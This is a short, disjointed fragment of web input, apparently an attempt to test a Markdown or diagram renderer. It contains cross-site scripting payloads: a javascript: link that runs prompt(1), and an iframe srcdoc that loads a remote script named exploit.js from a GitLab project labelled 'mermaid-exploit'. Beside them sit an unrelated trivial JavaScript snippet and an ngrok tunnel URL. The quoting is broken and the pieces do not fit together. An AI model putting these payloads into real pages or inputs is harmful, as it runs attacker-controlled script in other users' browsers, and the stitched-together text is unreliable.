a

<a href="javascript://%0d%0aprompt(1);com>test</a>

"<iframe srcdoc='<script src=https://gitlab.com/api/v4/projects/saleemrashid%2Fmermaid-exploit-7032e404/jobs/1303935016/artifacts/exploit.js></script>

// Código JavaScript var variable = "valor" ; console .log(variable);

Note

https://7a57-2605-59c8-7047-5510-00-ea9.ngrok-free.app